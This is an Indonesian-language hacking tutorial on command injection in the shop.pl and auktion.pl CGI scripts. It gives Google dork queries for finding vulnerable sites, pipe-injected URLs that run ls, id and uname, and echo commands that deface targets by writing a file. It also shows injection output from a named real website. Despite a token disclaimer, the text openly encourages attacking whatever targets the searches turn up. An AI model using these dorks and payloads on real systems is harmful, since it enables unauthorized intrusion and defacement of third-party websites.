BUGS pada shop.pl && auktion.pl

1. Shop.pl Bug Bug ini seperti pada cpanel, and go bug. Lanjut ajah udah pernah koq!! a. cari target di seach engine google sementara belum ada yang mengalahkan xixixi :=) allinurl:shop.pl/page= Nah tu kan ada nggak?? Klo ada langsung aja sikat b. Tambahkan di web brosermu sebagai berikut : http://HOST/CGI_DIRECTORY/shop.pl/page=|ls| Jika hal in menunjukan list directory maka itu adalah sasaran. c. Deface kok terus, jangan dilakukan in hanya sebagai pengetahuan klean aja: http://HOST/CGI_DIRECTORY/shop.pl/page=|echo j***cuk by Satria>file.txt| Note : file.txt adalah file deface dalam bentuk txt 2. Auktion.pl Bug Langkah-langkah : a. Lelah aku nulisnya sama dengan atas cari di google allinurl:auktion.pl?menue= Klo ketemu target lanjut b. Coba sekarang tambahkan ini http://[VICTIM]/cgi-bin/auktion.pl?menue=|ID| Klo tag in menunjukkan hal aneh (apanya liat aja ndiri), maka lanjutkan ke langkah berikutnya Jika hal ini tidak mengubah tampilan maka ya cari target lain. c. Deface !! Dengan perintah echo yang sangat populer dan lawas sekali (xixixi) http://[VICTIM]/cgi-bin/auktion.pl?menue=|echo Defaced by Satria>file.txt| Contoh : http://www.1000steine.de/cgi-bin/auktion.pl?menue=;id| uid=112(100steineftp) gid=100(users) groups=100(users),111(site-adm),113(site2) nah tu kan. Lanjut http://www.1000steine.de/cgi-bin/auktion.pl?menue=;uname%20-a| Linux lagoon1.ipberlin.com 2.2.16C28_III #1 Mon Jul 30 22:07:58 PDT 2001 i586 unknown